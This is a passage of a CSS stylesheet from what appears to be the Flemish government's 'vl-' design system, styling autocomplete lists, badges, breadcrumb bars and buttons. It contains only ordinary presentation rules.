      .js-vl-autocomplete .vl-autocomplete[data-vl-show=false],
      .no-js .js-vl-autocomplete .vl-autocomplete {
        display: none !important
      }

      .js-vl-autocomplete .vl-autocomplete__list-wrapper {
        max-height: 35vh;
        overflow: auto
      }

      .js-vl-autocomplete .vl-autocomplete__cta {
        border-top: 1px solid #cbd2da;
        display: block;
        padding: 1rem;
        -webkit-text-decoration: none;
        text-decoration: none;
        transition: background .1s ease-in-out
      }

      .js-vl-autocomplete .vl-autocomplete__cta.vl-autocomplete__cta--focus,
      .js-vl-autocomplete .vl-autocomplete__cta:focus,
      .js-vl-autocomplete .vl-autocomplete__cta:hover {
        background: rgba(179, 207, 245, .3)
      }

      .js-vl-autocomplete .vl-autocomplete__cta.vl-autocomplete__cta--focus,
      .js-vl-autocomplete .vl-autocomplete__cta:focus {
        outline: 0
      }

      .js-vl-autocomplete .vl-autocomplete__cta__sub {
        color: #687483;
        display: block;
        font-size: 1.4rem
      }

      .js-vl-autocomplete .vl-autocomplete__cta__title {
        color: #333332;
        display: block
      }

      .js-vl-autocomplete .vl-autocomplete__cta__title--location {
        color: #05c;
        -webkit-text-decoration: underline;
        text-decoration: underline
      }

      .js-vl-autocomplete .vl-autocomplete__cta__title--location:after,
      .js-vl-autocomplete .vl-autocomplete__cta__title--location:before {
        font-family: "vlaanderen-icon" !important;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
        font-feature-settings: normal;
        font-style: normal;
        font-variant: normal;
        font-weight: 400;
        -webkit-text-decoration: none;
        text-decoration: none;
        text-transform: none
      }

      .js-vl-autocomplete .vl-autocomplete__cta__title--location:before {
        color: #333332;
        content: "";
        display: inline-block;
        font-size: .7em;
        margin: 0 1rem 0 .3rem;
        transform: scale(1.5);
        vertical-align: middle
      }

      .js-vl-autocomplete .vl-autocomplete__item:first-child .vl-autocomplete__cta {
        border: 0
      }

      .js-vl-autocomplete .vl-autocomplete__alert {
        display: block;
        font-weight: 400;
        padding: 1rem;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .js-vl-autocomplete .vl-autocomplete__alert__title {
        display: block;
        line-height: 1.2
      }

      .js-vl-autocomplete .vl-autocomplete__alert__subtitle {
        color: #687483;
        display: block;
        font-size: 1.4rem
      }

      .js-vl-autocomplete .vl-autocomplete__loader {
        height: 3.5rem;
        position: absolute;
        right: 0;
        top: 0;
        width: 5rem;
        z-index: 2
      }

      .js-vl-autocomplete .vl-autocomplete__loader:before {
        animation: "waving-dark"1s linear infinite;
        border-radius: 50%;
        box-shadow: 10px 0 #cbd2da, 20px 0 #cbd2da, 30px 0 #cbd2da;
        content: "";
        display: block;
        height: 4px;
        left: 50%;
        margin-left: -22px;
        margin-top: -2px;
        position: absolute;
        top: 50%;
        width: 4px
      }

      .js-vl-autocomplete .vl-autocomplete__loader[data-vl-show=false] {
        display: none
      }

      .vl-badge {
        background-color: #fff;
        border: 0;
        border-radius: 2.25rem;
        display: inline-block;
        flex-shrink: 0;
        height: 4.5rem;
        width: 4.5rem
      }

      .vl-badge,
      .vl-badge--initials {
        position: relative
      }

      .vl-badge--initials span {
        color: #333332;
        font-size: 1.25rem;
        font-weight: 500;
        left: 50%;
        margin: 0 .5px;
        position: absolute;
        text-transform: uppercase;
        top: 50%;
        transform: translate(-50%, -50%)
      }

      .vl-badge--initials.vl-badge--action span,
      .vl-badge--initials.vl-badge--error span,
      .vl-badge--initials.vl-badge--success span {
        color: #fff
      }

      .vl-badge--bullet {
        border-radius: .4rem;
        height: .8rem;
        width: .8rem
      }

      .vl-badge--bullet.vl-badge--icon .vl-vi,
      .vl-badge--bullet.vl-badge--initials span {
        display: none
      }

      .vl-badge--inline .vl-badge--bullet {
        margin-right: 10px
      }

      @media screen and (max-width:767px) {
        .vl-badge--inline .vl-badge--bullet {
          margin-right: 7px
        }
      }

      .vl-badge--alt,
      .vl-badge--icon-placeholder {
        background-color: #f7f9fc
      }

      @supports(-webkit-background-clip:text) {
        .vl-badge--icon-placeholder .vl-badge__icon:before {
          background: #638ac4 url("");
          -webkit-background-clip: text;
          background-clip: text;
          background-size: 12px;
          color: #638ac4;
          -webkit-text-fill-color: transparent;
          text-fill-color: transparent
        }
      }

      @supports((-webkit-background-clip:text) or (background-clip:text)) {
        .vl-badge--icon-placeholder .vl-badge__icon:before {
          background: #638ac4 url("");
          -webkit-background-clip: text;
          background-clip: text;
          background-size: 12px;
          color: #638ac4;
          -webkit-text-fill-color: transparent;
          text-fill-color: transparent
        }
      }

      .vl-badge--white {
        background-color: #fff
      }

      .vl-badge--accent {
        background-color: #ffed00;
        background-color: var(--vl-theme-accent-color, var(--vl-theme-primary-color));
        color: var(--vl-theme-accent-fg-color, var(--vl-theme-fg-color))
      }

      .vl-badge--accent :before {
        color: var(--vl-theme-accent-fg-color)
      }

      .vl-badge--accent span {
        color: #333332;
        color: var(--vl-theme-accent-fg-color, #333332)
      }

      .vl-badge--action {
        background-color: #05c;
        background-color: var(--vl-theme-action-color, #05c);
        color: #fff;
        color: var(--vl-theme-action-fg-color, #fff)
      }

      .vl-badge--action span {
        color: #333332;
        color: var(--vl-theme-action-fg-color, #333332)
      }

      .vl-badge--success {
        background-color: #007a37;
        color: #fff
      }

      .vl-badge--success span {
        color: #fff
      }

      .vl-badge--error {
        background-color: #d2373c;
        color: #fff
      }

      .vl-badge--error span {
        color: #fff
      }

      .vl-badge--warning {
        background-color: #ffa10a
      }

      .vl-badge--border {
        border: 1px solid #cbd2da
      }

      .vl-badge--block {
        display: block
      }

      .vl-badge__img {
        border-radius: 50%
      }

      .vl-badge--icon {
        position: relative
      }

      .vl-badge--icon.vl-badge--action .vl-badge__icon,
      .vl-badge--icon.vl-badge--error .vl-badge__icon,
      .vl-badge--icon.vl-badge--success .vl-badge__icon {
        color: #fff
      }

      .vl-badge__icon {
        margin: -.5px .5px
      }

      .vl-badge--icon .vl-badge__icon,
      .vl-badge--icon .vl-badge__image-icon img {
        color: #333332;
        font-size: 1.25rem;
        left: 50%;
        position: absolute;
        top: 50%;
        transform: translate(-50%, -50%);
        fill: #333332
      }

      .vl-badge img {
        border-radius: 50%;
        height: 100%;
        -o-object-fit: cover;
        object-fit: cover;
        width: 100%
      }

      .vl-badge img.vl-badge__icon {
        height: 70%
      }

      .vl-badge--icon .vl-badge__image-icon img {
        border-radius: 0;
        height: 70%;
        -o-object-fit: contain;
        object-fit: contain;
        width: 70%
      }

      .vl-badge.vl-badge--icon>.vl-vi {
        font-size: 1.8rem
      }

      .vl-badge.vl-badge--icon .vl-badge__icon {
        font-size: 2.4rem;
        line-height: 2.4rem
      }

      .vl-badge.vl-badge--initials span {
        font-size: 1.8rem
      }

      .vl-badge--large .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge,
      .vl-badge--medium .vl-badge__notification .vl-badge,
      .vl-badge--small .vl-badge__notification .vl-badge,
      .vl-badge--xlarge .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge,
      .vl-badge--xsmall .vl-badge__notification .vl-badge,
      .vl-badge--xxlarge .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge,
      .vl-badge--xxsmall,
      .vl-badge--xxsmall .vl-badge__notification .vl-badge {
        border-radius: .8rem;
        height: 1.6rem;
        width: 1.6rem
      }

      .vl-badge--large .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge--icon.vl-badge>.vl-vi,
      .vl-badge--medium .vl-badge__notification .vl-badge--icon.vl-badge>.vl-vi,
      .vl-badge--small .vl-badge__notification .vl-badge--icon.vl-badge>.vl-vi,
      .vl-badge--xlarge .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge--icon.vl-badge>.vl-vi,
      .vl-badge--xsmall .vl-badge__notification .vl-badge--icon.vl-badge>.vl-vi,
      .vl-badge--xxlarge .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge--icon.vl-badge>.vl-vi,
      .vl-badge--xxsmall .vl-badge__notification .vl-badge--icon.vl-badge>.vl-vi,
      .vl-badge--xxsmall.vl-badge--icon>.vl-vi {
        font-size: 1rem
      }

      .vl-badge--large .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge--icon.vl-badge .vl-badge__icon,
      .vl-badge--medium .vl-badge__notification .vl-badge--icon.vl-badge .vl-badge__icon,
      .vl-badge--small .vl-badge__notification .vl-badge--icon.vl-badge .vl-badge__icon,
      .vl-badge--xlarge .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge--icon.vl-badge .vl-badge__icon,
      .vl-badge--xsmall .vl-badge__notification .vl-badge--icon.vl-badge .vl-badge__icon,
      .vl-badge--xxlarge .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge--icon.vl-badge .vl-badge__icon,
      .vl-badge--xxsmall .vl-badge__notification .vl-badge--icon.vl-badge .vl-badge__icon,
      .vl-badge--xxsmall.vl-badge--icon .vl-badge__icon {
        font-size: .8rem;
        line-height: .8rem
      }

      .vl-badge--large .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge--initials.vl-badge span,
      .vl-badge--medium .vl-badge__notification .vl-badge--initials.vl-badge span,
      .vl-badge--small .vl-badge__notification .vl-badge--initials.vl-badge span,
      .vl-badge--xlarge .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge--initials.vl-badge span,
      .vl-badge--xsmall .vl-badge__notification .vl-badge--initials.vl-badge span,
      .vl-badge--xxlarge .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge--initials.vl-badge span,
      .vl-badge--xxsmall .vl-badge__notification .vl-badge--initials.vl-badge span,
      .vl-badge--xxsmall.vl-badge--initials span {
        font-size: 1rem
      }

      .vl-badge--large .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge .vl-badge__notification,
      .vl-badge--medium .vl-badge__notification .vl-badge .vl-badge__notification,
      .vl-badge--small .vl-badge__notification .vl-badge .vl-badge__notification,
      .vl-badge--xlarge .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge .vl-badge__notification,
      .vl-badge--xsmall .vl-badge__notification .vl-badge .vl-badge__notification,
      .vl-badge--xxlarge .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge .vl-badge__notification,
      .vl-badge--xxsmall .vl-badge__notification,
      .vl-badge--xxsmall .vl-badge__notification .vl-badge .vl-badge__notification {
        line-height: 1;
        position: absolute;
        right: -.5rem;
        top: 0
      }

      .vl-badge--large .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge .vl-badge__notification--top,
      .vl-badge--medium .vl-badge__notification .vl-badge .vl-badge__notification--top,
      .vl-badge--small .vl-badge__notification .vl-badge .vl-badge__notification--top,
      .vl-badge--xlarge .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge .vl-badge__notification--top,
      .vl-badge--xsmall .vl-badge__notification .vl-badge .vl-badge__notification--top,
      .vl-badge--xxlarge .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge .vl-badge__notification--top,
      .vl-badge--xxsmall .vl-badge__notification .vl-badge .vl-badge__notification--top,
      .vl-badge--xxsmall .vl-badge__notification--top {
        top: 0
      }

      .vl-badge--large .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge .vl-badge__notification--right,
      .vl-badge--medium .vl-badge__notification .vl-badge .vl-badge__notification--right,
      .vl-badge--small .vl-badge__notification .vl-badge .vl-badge__notification--right,
      .vl-badge--xlarge .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge .vl-badge__notification--right,
      .vl-badge--xsmall .vl-badge__notification .vl-badge .vl-badge__notification--right,
      .vl-badge--xxlarge .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge .vl-badge__notification--right,
      .vl-badge--xxsmall .vl-badge__notification .vl-badge .vl-badge__notification--right,
      .vl-badge--xxsmall .vl-badge__notification--right {
        right: -.5rem
      }

      .vl-badge--large .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge .vl-badge__notification--bottom,
      .vl-badge--medium .vl-badge__notification .vl-badge .vl-badge__notification--bottom,
      .vl-badge--small .vl-badge__notification .vl-badge .vl-badge__notification--bottom,
      .vl-badge--xlarge .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge .vl-badge__notification--bottom,
      .vl-badge--xsmall .vl-badge__notification .vl-badge .vl-badge__notification--bottom,
      .vl-badge--xxlarge .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge .vl-badge__notification--bottom,
      .vl-badge--xxsmall .vl-badge__notification .vl-badge .vl-badge__notification--bottom,
      .vl-badge--xxsmall .vl-badge__notification--bottom {
        bottom: 0;
        top: auto
      }

      .vl-badge--large .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge .vl-badge__notification--left,
      .vl-badge--medium .vl-badge__notification .vl-badge .vl-badge__notification--left,
      .vl-badge--small .vl-badge__notification .vl-badge .vl-badge__notification--left,
      .vl-badge--xlarge .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge .vl-badge__notification--left,
      .vl-badge--xsmall .vl-badge__notification .vl-badge .vl-badge__notification--left,
      .vl-badge--xxlarge .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge .vl-badge__notification--left,
      .vl-badge--xxsmall .vl-badge__notification .vl-badge .vl-badge__notification--left,
      .vl-badge--xxsmall .vl-badge__notification--left {
        left: -.5rem;
        right: auto
      }

      .vl-badge--large .vl-badge__notification .vl-badge,
      .vl-badge--xsmall {
        border-radius: 1rem;
        height: 2rem;
        width: 2rem
      }

      .vl-badge--large .vl-badge__notification .vl-badge--icon.vl-badge>.vl-vi,
      .vl-badge--xsmall.vl-badge--icon>.vl-vi {
        font-size: 1rem
      }

      .vl-badge--large .vl-badge__notification .vl-badge--icon.vl-badge .vl-badge__icon,
      .vl-badge--xsmall.vl-badge--icon .vl-badge__icon {
        font-size: 1.2rem;
        line-height: 1.2rem
      }

      .vl-badge--large .vl-badge__notification .vl-badge--initials.vl-badge span,
      .vl-badge--xsmall.vl-badge--initials span {
        font-size: 1rem
      }

      .vl-badge--large .vl-badge__notification .vl-badge .vl-badge__notification,
      .vl-badge--xsmall .vl-badge__notification {
        line-height: 1;
        position: absolute;
        right: -.5rem;
        top: 0
      }

      .vl-badge--large .vl-badge__notification .vl-badge .vl-badge__notification--top,
      .vl-badge--xsmall .vl-badge__notification--top {
        top: 0
      }

      .vl-badge--large .vl-badge__notification .vl-badge .vl-badge__notification--right,
      .vl-badge--xsmall .vl-badge__notification--right {
        right: -.5rem
      }

      .vl-badge--large .vl-badge__notification .vl-badge .vl-badge__notification--bottom,
      .vl-badge--xsmall .vl-badge__notification--bottom {
        bottom: 0;
        top: auto
      }

      .vl-badge--large .vl-badge__notification .vl-badge .vl-badge__notification--left,
      .vl-badge--xsmall .vl-badge__notification--left {
        left: -.5rem;
        right: auto
      }

      .vl-badge--small,
      .vl-badge--xlarge .vl-badge__notification .vl-badge {
        border-radius: 1.375rem;
        height: 2.75rem;
        width: 2.75rem
      }

      .vl-badge--small.vl-badge--icon>.vl-vi,
      .vl-badge--xlarge .vl-badge__notification .vl-badge--icon.vl-badge>.vl-vi {
        font-size: 1.4rem
      }

      .vl-badge--small.vl-badge--icon .vl-badge__icon,
      .vl-badge--xlarge .vl-badge__notification .vl-badge--icon.vl-badge .vl-badge__icon {
        font-size: 1.6rem;
        line-height: 1.6rem
      }

      .vl-badge--small.vl-badge--initials span,
      .vl-badge--xlarge .vl-badge__notification .vl-badge--initials.vl-badge span {
        font-size: 1.4rem
      }

      .vl-badge--small .vl-badge__notification,
      .vl-badge--xlarge .vl-badge__notification .vl-badge .vl-badge__notification {
        line-height: 1;
        position: absolute;
        right: -.5rem;
        top: 0
      }

      .vl-badge--small .vl-badge__notification--top,
      .vl-badge--xlarge .vl-badge__notification .vl-badge .vl-badge__notification--top {
        top: 0
      }

      .vl-badge--small .vl-badge__notification--right,
      .vl-badge--xlarge .vl-badge__notification .vl-badge .vl-badge__notification--right {
        right: -.5rem
      }

      .vl-badge--small .vl-badge__notification--bottom,
      .vl-badge--xlarge .vl-badge__notification .vl-badge .vl-badge__notification--bottom {
        bottom: 0;
        top: auto
      }

      .vl-badge--small .vl-badge__notification--left,
      .vl-badge--xlarge .vl-badge__notification .vl-badge .vl-badge__notification--left {
        left: -.5rem;
        right: auto
      }

      .vl-badge--medium,
      .vl-badge--xxlarge .vl-badge__notification .vl-badge {
        border-radius: 2.25rem;
        height: 4.5rem;
        width: 4.5rem
      }

      .vl-badge--medium.vl-badge--icon>.vl-vi,
      .vl-badge--xxlarge .vl-badge__notification .vl-badge--icon.vl-badge>.vl-vi {
        font-size: 1.8rem
      }

      .vl-badge--medium.vl-badge--icon .vl-badge__icon,
      .vl-badge--xxlarge .vl-badge__notification .vl-badge--icon.vl-badge .vl-badge__icon {
        font-size: 2.4rem;
        line-height: 2.4rem
      }

      .vl-badge--medium.vl-badge--initials span,
      .vl-badge--xxlarge .vl-badge__notification .vl-badge--initials.vl-badge span {
        font-size: 1.8rem
      }

      .vl-badge--medium .vl-badge__notification,
      .vl-badge--xxlarge .vl-badge__notification .vl-badge .vl-badge__notification {
        line-height: 1;
        position: absolute;
        right: -.5rem;
        top: 0
      }

      .vl-badge--medium .vl-badge__notification--top,
      .vl-badge--xxlarge .vl-badge__notification .vl-badge .vl-badge__notification--top {
        top: 0
      }

      .vl-badge--medium .vl-badge__notification--right,
      .vl-badge--xxlarge .vl-badge__notification .vl-badge .vl-badge__notification--right {
        right: -.5rem
      }

      .vl-badge--medium .vl-badge__notification--bottom,
      .vl-badge--xxlarge .vl-badge__notification .vl-badge .vl-badge__notification--bottom {
        bottom: 0;
        top: auto
      }

      .vl-badge--medium .vl-badge__notification--left,
      .vl-badge--xxlarge .vl-badge__notification .vl-badge .vl-badge__notification--left {
        left: -.5rem;
        right: auto
      }

      .vl-badge--large {
        border-radius: 2.875rem;
        height: 5.75rem;
        width: 5.75rem
      }

      .vl-badge--large.vl-badge--icon>.vl-vi {
        font-size: 2.2rem
      }

      .vl-badge--large.vl-badge--icon .vl-badge__icon {
        font-size: 3.2rem;
        line-height: 3.2rem
      }

      .vl-badge--large.vl-badge--initials span {
        font-size: 2.2rem
      }

      .vl-badge--large .vl-badge__notification {
        line-height: 1;
        position: absolute;
        right: -.5rem;
        top: 0
      }

      .vl-badge--large .vl-badge__notification--top {
        top: 0
      }

      .vl-badge--large .vl-badge__notification--right {
        right: -.5rem
      }

      .vl-badge--large .vl-badge__notification--bottom {
        bottom: 0;
        top: auto
      }

      .vl-badge--large .vl-badge__notification--left {
        left: -.5rem;
        right: auto
      }

      .vl-badge--xlarge {
        border-radius: 5rem;
        height: 10rem;
        width: 10rem
      }

      .vl-badge--xlarge.vl-badge--icon>.vl-vi {
        font-size: 3.2rem
      }

      .vl-badge--xlarge.vl-badge--icon .vl-badge__icon {
        font-size: 4.2rem;
        line-height: 4.2rem
      }

      .vl-badge--xlarge.vl-badge--initials span {
        font-size: 3.2rem
      }

      .vl-badge--xlarge .vl-badge__notification {
        line-height: 1;
        position: absolute;
        right: -.5rem;
        top: 0
      }

      .vl-badge--xlarge .vl-badge__notification--top {
        top: 0
      }

      .vl-badge--xlarge .vl-badge__notification--right {
        right: -.5rem
      }

      .vl-badge--xlarge .vl-badge__notification--bottom {
        bottom: 0;
        top: auto
      }

      .vl-badge--xlarge .vl-badge__notification--left {
        left: -.5rem;
        right: auto
      }

      .vl-badge--xxlarge {
        border-radius: 7.5rem;
        height: 15rem;
        width: 15rem
      }

      .vl-badge--xxlarge.vl-badge--icon>.vl-vi {
        font-size: 4.4rem
      }

      .vl-badge--xxlarge.vl-badge--icon .vl-badge__icon {
        font-size: 6.3rem;
        line-height: 6.3rem
      }

      .vl-badge--xxlarge.vl-badge--initials span {
        font-size: 4.4rem
      }

      .vl-badge--xxlarge .vl-badge__notification {
        line-height: 1;
        position: absolute;
        right: -.5rem;
        top: 0
      }

      .vl-badge--xxlarge .vl-badge__notification--top {
        top: 0
      }

      .vl-badge--xxlarge .vl-badge__notification--right {
        right: -.5rem
      }

      .vl-badge--xxlarge .vl-badge__notification--bottom {
        bottom: 0;
        top: auto
      }

      .vl-badge--xxlarge .vl-badge__notification--left {
        left: -.5rem;
        right: auto
      }

      .vl-badge-container--condensed .vl-badge {
        margin-left: -1.625rem
      }

      .vl-badge--large .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge-container--condensed .vl-badge,
      .vl-badge--medium .vl-badge__notification .vl-badge-container--condensed .vl-badge,
      .vl-badge--small .vl-badge__notification .vl-badge-container--condensed .vl-badge,
      .vl-badge--xlarge .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge-container--condensed .vl-badge,
      .vl-badge--xsmall .vl-badge__notification .vl-badge-container--condensed .vl-badge,
      .vl-badge--xxlarge .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge-container--condensed .vl-badge,
      .vl-badge--xxsmall .vl-badge__notification .vl-badge-container--condensed .vl-badge,
      .vl-badge-container--condensed .vl-badge--large .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge,
      .vl-badge-container--condensed .vl-badge--medium .vl-badge__notification .vl-badge,
      .vl-badge-container--condensed .vl-badge--small .vl-badge__notification .vl-badge,
      .vl-badge-container--condensed .vl-badge--xlarge .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge,
      .vl-badge-container--condensed .vl-badge--xsmall .vl-badge__notification .vl-badge,
      .vl-badge-container--condensed .vl-badge--xxlarge .vl-badge__notification .vl-badge .vl-badge__notification .vl-badge,
      .vl-badge-container--condensed .vl-badge--xxsmall,
      .vl-badge-container--condensed .vl-badge--xxsmall .vl-badge__notification .vl-badge {
        margin-left: -.9rem
      }

      .vl-badge--large .vl-badge__notification .vl-badge-container--condensed .vl-badge,
      .vl-badge-container--condensed .vl-badge--large .vl-badge__notification .vl-badge,
      .vl-badge-container--condensed .vl-badge--xsmall {
        margin-left: -1rem
      }

      .vl-badge--xlarge .vl-badge__notification .vl-badge-container--condensed .vl-badge,
      .vl-badge-container--condensed .vl-badge--small,
      .vl-badge-container--condensed .vl-badge--xlarge .vl-badge__notification .vl-badge {
        margin-left: -1.1875rem
      }

      .vl-badge--xxlarge .vl-badge__notification .vl-badge-container--condensed .vl-badge,
      .vl-badge-container--condensed .vl-badge--medium,
      .vl-badge-container--condensed .vl-badge--xxlarge .vl-badge__notification .vl-badge {
        margin-left: -1.625rem
      }

      .vl-badge-container--condensed .vl-badge--large {
        margin-left: -1.9375rem
      }

      .vl-badge-container--condensed .vl-badge--xlarge {
        margin-left: -3rem
      }

      .vl-badge-container--condensed .vl-badge--xxlarge {
        margin-left: -4.25rem
      }

      .vl-badge-container--condensed .vl-badge:first-child {
        margin-left: auto
      }

      .vl-breadcrumb-bar {
        align-items: center;
        background: #f7f9fc;
        box-shadow: 0 1px 3px rgba(12, 13, 14, .1), 0 4px 20px rgba(12, 13, 14, .035), 0 1px 1px rgba(12, 13, 14, .025);
        display: flex;
        justify-content: space-between
      }

      .vl-breadcrumb-bar__actions,
      .vl-breadcrumb-bar__search {
        margin-right: 1.5rem;
        padding-left: 2rem;
        position: relative
      }

      @media screen and (max-width:500px) {

        .vl-breadcrumb-bar__actions,
        .vl-breadcrumb-bar__search {
          margin-right: 2rem;
          width: 100%
        }
      }

      .vl-breadcrumb-bar__actions:before,
      .vl-breadcrumb-bar__search:before {
        background: #cbd2da;
        content: "";
        height: 2.4rem;
        left: 1rem;
        position: absolute;
        top: 50%;
        transform: translateY(-50%) rotate(-18deg);
        width: .1rem
      }

      @media screen and (max-width:500px) {

        .vl-breadcrumb-bar__actions:before,
        .vl-breadcrumb-bar__search:before {
          display: none
        }
      }

      .vl-breadcrumb-bar__actions .vl-search,
      .vl-breadcrumb-bar__search .vl-search {
        min-width: 12rem
      }

      .vl-breadcrumb-bar__actions .vl-search__input,
      .vl-breadcrumb-bar__search .vl-search__input {
        background: none;
        border-color: #f7f9fc
      }

      .vl-breadcrumb-bar__actions .vl-search__input:focus,
      .vl-breadcrumb-bar__search .vl-search__input:focus {
        background: #fff;
        border-color: #ffc515
      }

      @media screen and (max-width:500px) {

        .vl-breadcrumb-bar__actions .vl-search__input,
        .vl-breadcrumb-bar__search .vl-search__input {
          background: #fff;
          border-color: #fff
        }
      }

      .vl-breadcrumb-bar__actions {
        padding-left: 3rem;
        white-space: nowrap;
        width: auto
      }

      @media screen and (max-width:500px) {
        .vl-breadcrumb-bar__actions {
          padding-left: 1rem
        }
      }

      .vl-breadcrumb {
        display: flex;
        flex: 0 1 auto
      }

      .vl-breadcrumb-container {
        width: 100%
      }

      .vl-breadcrumb-container--full-width .vl-breadcrumb__list {
        overflow: hidden
      }

      .vl-breadcrumb-container--full-width .vl-breadcrumb__list__item:last-of-type {
        max-width: none;
        overflow: hidden
      }

      .vl-breadcrumb-bar .vl-breadcrumb {
        height: 100%;
        padding-left: 1.5rem
      }

      .vl-breadcrumb__list {
        align-items: center;
        display: flex;
        flex-wrap: wrap;
        height: auto
      }

      .vl-breadcrumb--condensed .vl-breadcrumb__list {
        flex-wrap: nowrap
      }

      .vl-breadcrumb-bar .vl-breadcrumb__list {
        min-height: 4.3rem;
        padding-bottom: 1rem;
        padding-top: 1rem
      }

      .vl-breadcrumb__list__item {
        align-items: center;
        display: flex;
        flex-direction: row-reverse;
        padding: 2px 0;
        position: relative
      }

      .vl-breadcrumb--condensed .vl-breadcrumb__list__item {
        max-width: 250px
      }

      .vl-breadcrumb__list__item .vl-breadcrumb__list__item__cta,
      .vl-breadcrumb__list__item .vl-link {
        overflow: hidden;
        text-overflow: ellipsis;
        white-space: nowrap
      }

      .vl-breadcrumb__list__item .vl-breadcrumb__list__item__cta:visited,
      .vl-breadcrumb__list__item .vl-link:visited {
        color: #05c
      }

      .vl-breadcrumb__list__item:last-of-type .vl-breadcrumb__list__item__separator {
        display: none
      }

      .vl-breadcrumb__list__item--deactivated .vl-breadcrumb__list__item__cta {
        color: #333332;
        cursor: auto;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-breadcrumb__list__item--deactivated .vl-breadcrumb__list__item__cta:focus,
      .vl-breadcrumb__list__item--deactivated .vl-breadcrumb__list__item__cta:hover {
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-breadcrumb__list__item__separator {
        align-items: center;
        color: #8695a8;
        display: flex;
        font-size: 1.2rem;
        margin: .2rem .5rem 0
      }

      .vl-breadcrumb__list__item__separator:after,
      .vl-breadcrumb__list__item__separator:before {
        font-family: "vlaanderen-icon" !important;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
        font-feature-settings: normal;
        font-style: normal;
        font-variant: normal;
        font-weight: 400;
        -webkit-text-decoration: none;
        text-decoration: none;
        text-transform: none
      }

      .vl-breadcrumb__list__item__separator:before {
        content: ""
      }

      .vl-breadcrumb__list__item__cta,
      .vl-breadcrumb__list__item__cta:visited {
        align-items: center;
        color: #05c;
        cursor: pointer;
        display: inline-block;
        height: 100%;
        -webkit-text-decoration: underline;
        text-decoration: underline
      }

      .vl-breadcrumb__list__item__cta:focus,
      .vl-breadcrumb__list__item__cta:hover,
      .vl-breadcrumb__list__item__cta:visited:focus,
      .vl-breadcrumb__list__item__cta:visited:hover {
        -webkit-text-decoration: underline;
        text-decoration: underline
      }

      .vl-breadcrumb__list__item__cta--bold,
      .vl-breadcrumb__list__item__cta--bold:visited {
        font-weight: 500;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      a.vl-button {
        cursor: pointer
      }

      .vl-button {
        align-items: center;
        -moz-appearance: none;
        appearance: none;
        -webkit-appearance: none;
        background-color: transparent;
        background-color: #05c;
        background-color: var(--vl-theme-action-color, #05c);
        border: 0;
        border-radius: 0;
        border-radius: .3rem;
        color: #fff;
        cursor: default;
        display: inline-flex;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 1.6rem;
        font-weight: 500;
        max-width: 100%;
        min-height: 3.5rem;
        outline: 0;
        padding: .5rem 2rem;
        text-align: center;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      @media screen and (max-width:767px) {
        .vl-button {
          font-size: 1.6rem;
          padding: 1rem
        }
      }

      .vl-button:focus,
      .vl-button:hover {
        color: #fff
      }

      .vl-button:hover {
        background-color: #004ab3;
        background-color: var(--vl-theme-action-hover-color, #004ab3);
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-button:focus {
        box-shadow: 0 0 0 2px #fff, 0 0 0 5px rgba(0, 85, 204, .65);
        outline: .2rem solid transparent
      }

      @supports(outline-offset:2px) {
        .vl-button:focus {
          box-shadow: none;
          outline: 3px solid rgba(0, 85, 204, .65);
          outline-offset: 2px
        }
      }

      .vl-button:active {
        background-color: #004099;
        background-color: var(--vl-theme-action-active-color, #004099)
      }

      .vl-button:visited {
        color: #fff
      }

      .vl-button--ellipse,
      .vl-button--ellipse .vl-button__label {
        overflow: hidden;
        text-overflow: ellipsis;
        white-space: nowrap
      }

      .vl-button--secondary {
        background-color: transparent;
        border: .2rem solid;
        color: #05c;
        color: var(--vl-theme-action-color, #05c);
        transition: color .2s, border-color .2s, box-shadow .2s
      }

      .vl-button--secondary:visited {
        color: #05c
      }

      .vl-button--secondary:focus {
        color: #05c;
        color: var(--vl-theme-action-active-color, #05c)
      }

      .vl-button--secondary:active,
      .vl-button--secondary:hover {
        background-color: transparent;
        border-color: #004ab3;
        border-color: var(--vl-theme-action-hover-color, #004ab3);
        color: #004ab3;
        color: var(--vl-theme-action-hover-color, #004ab3)
      }

      .vl-button--tertiary {
        background-color: transparent;
        border: .1rem solid #c6cdd3;
        transition: background-color .2s, box-shadow .2s
      }

      .vl-button--tertiary,
      .vl-button--tertiary:visited {
        color: #05c;
        color: var(--vl-theme-action-color, #05c)
      }

      .vl-button--tertiary:focus {
        border-color: #c6cdd3;
